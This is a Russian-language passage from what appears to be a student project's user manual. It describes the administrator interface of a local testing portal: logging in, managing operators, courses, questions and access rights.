Для работы с администраторским блоком необходимо ввести в адресную строку браузера http://localhost/test_portal/adm/admin.php. После чего перед нами появится окно авторизации для входа в админ-модуль (рисунок 4.4.1). По умолчанию логин/пароль администратора имеют значения admin/admin. Разумеется рекомендуется сразу после установки портала сменить пароль, логин «вшит» в базу данных и не может быть изменён!

Рис.4.4.1. Окно авторизации для входа в админ-модуль

Рис.4.4.2. Главное окно интерфейса администратора

После успешной авторизации перед нами появится интерфейс администратора (рисунок 4.4.2). Здесь в левом углу имеется основное меню для манипулирования данными портала. Меню «Персональные данные» позволяет сменить фамилию, имя, отчество и e-mail администратора посредством ввода новых данных и нажатия кнопки «Применить» (рисунок 4.4.3).

Рис.4.4.3. Смена персональных данных администратора

Далее имеется меню для смены пароля, после нажатия на него откроется специальная форма для ввода нового пароля (рисунок 4.4.4):

Рис.4.4.4. Окно смены пароля администратора

По нажатию на ссылку «Добавить пользователя» откроется форма для ввода нового оператора портала. Здесь потребуется ввести фамилию, имя, отчество, е-mail, логин и пароль оператора (рисунок 4.4.5):

Рис.4.4.5. Окно ввода нового оператора

Причём если в базе уже имеется оператор с только что введённым логином, то новый оператор не будет добавлен и выдастся соответствующее сообщение о дубликации логина. Всех пользователей портала можно просмотреть через меню «Юзеры» - появится страница со списком операторов портала, подобная изображённой на рисунке 4.4.6:

Рис.4.4.6. Страница «ЮЗЕРЫ»

На этой странице так же имеется возможность удаления операторов как всех сразу, так и выборочно с помощью кнопки «Удалить» и соответствующих меток.

С помощью меню «Поиск юзеров» администратор может найти операторов портала согласно введённых параметров запроса поиска. Поиск можно произвести по одному или нескольким параметрам, в частности - по Ф.И.О., адресу электронной почты и логину (рисунок 4.4.7). После нажатия на кнопку «Поиск», если в базе данных портала имеются операторы с указанными данными, появится страница со списком найденных пользователей. В противном случае появится сообщение о том, что в базе данных таких пользователей не найдено. Аналогично происходит и процесс поиска студентов портала посредством меню «Поиск студентов».

Рис. 4.4.7. Окно для поиска операторов

Далее имеется меню для ввода новых курсов портала, по нажатию на него откроется страница с окном для ввода данных нового курса (рисунок 4.4.8). Здесь потребуется ввести наименование курса, Ф.И.О. тьютора и пометить курс - если метка «Активность» отмечена, то курс будет доступен для студентов, в противном случае - не доступен.

Рис. 4.4.8. Окно для ввода нового курса

Информацию обо всех курсах можно просмотреть с помощью ссылки «Курсы», по нажатию на которую появится страница со списком имеющихся в портале курсов (рисунок 4.4.9). Здесь как и в случае с операторами имеется возможность выборочного удаления курсов. Причём при удалении будут удалены как сам курс, так и вся информация связанная с ним: вопросы, оценки студентов по курсу, и т.д.

Рис.4.4.9. Страница со списком курсов портала

На этой странице посредством нажатия мышью на название курса появится страница с подробной информацией по выбранному курсу (рисунок 4.4.10). Здесь имеется возможность изменения всей информации о курсе, в частности наименование, тьютора, активность. Кроме того здесь же можно удалить текущий курс (ссылка «Удалить»). Далее видим информацию о лимитах курса - максимальное количество пересдач тех или иных контролей и количество вопросов при прохождении контролей - здесь же лимиты можно редактировать. Причём если лимиты на количество вопросов не проставлены, то появляется соответствующее текстовое предупреждение о невозможности прохождения контролей по курсу студентами. По умолчанию лимиты пусты и требуют редактирования.

Так же на данной странице имеется возможность просмотра успеваемости студентов по данному курсу и добавление новых вопросов.

Рис. 4.4.10. Страница с подробной информацией о курсе

Если по данному курсу в базе данных имеются вопросы, то будет выведена информация о вопросах курса в разрезе контролей, подобная следующей:

Рис.4.4.11. Информация о вопросах курса

Здесь меню «Вопросы курса» переводит администратора на страницу с вопросами курса, подобную изображённой на следующем рисунке:

Рис.4.4.12. Страница с вопросами курса

Каждый вопрос можно просмотреть подробно, либо удалить. Причём вывод вопросов происходит постранично, если общее количество вопросов курса превышает 15, то следующая порция вопросов будет отображена на следующей странице и т.д.

Ввод новых вопросов курса происходит посредством меню «Добавить вопрос», по нажатию на которое появится окно следующего вида:

Рис.4.4.13. Форма для ввода нового вопроса

Здесь потребуется ввести текст вопроса, четыре варианта ответа на него, правильный ответ, и контроль к которому будет относиться данный вопрос. После чего по нажатию на кнопку «ОК» вопрос будет немедленно добавлен в базу данных.

Кроме того в самом низу страницы с информацией по курсу можно заметить интерфейс для редактирования доступа к курсу:

Рис.4.4.14. Интерфейс редактирования доступа к курсу

Здесь администратор может изменять доступ операторов к текущему курсу, причём доступ можно редактировать как выборочно, так и всем операторам сразу. Галочка в соответствующей колонке означает, что оператор имеет доступ к действию, описанному в заголовке колонки, и наоборот.

Меню «Вопросы» в верхней части интерфейса администратора переводит его на страницу со списком курсов портала и информацией об их вопросах:

Рис. 4.4.15. Страница «Вопросы»

Здесь меню «Просмотр» переводит администратора на страницу подобную изображённой на рисунке 4.4.12. Причём данное меню появляется только напротив тех курсов, которые имеют вопросы в базе данных. Так же напротив названий таких курсов появится количество всех вопросов курса.

Меню «Поиск вопросов» откроет форму ввода параметров для поиска вопросов. Здесь надо просто ввести ключевое(ые) слово(а), которое(ые) может(гут) содержаться либо в тексте вопроса, либо в его ответах.


Подобные документы

Работы в архивах красиво оформлены согласно требованиям ВУЗов и содержат рисунки, диаграммы, формулы и т.д.
PPT, PPTX и PDF-файлы представлены только в архивах.
Рекомендуем скачать работу.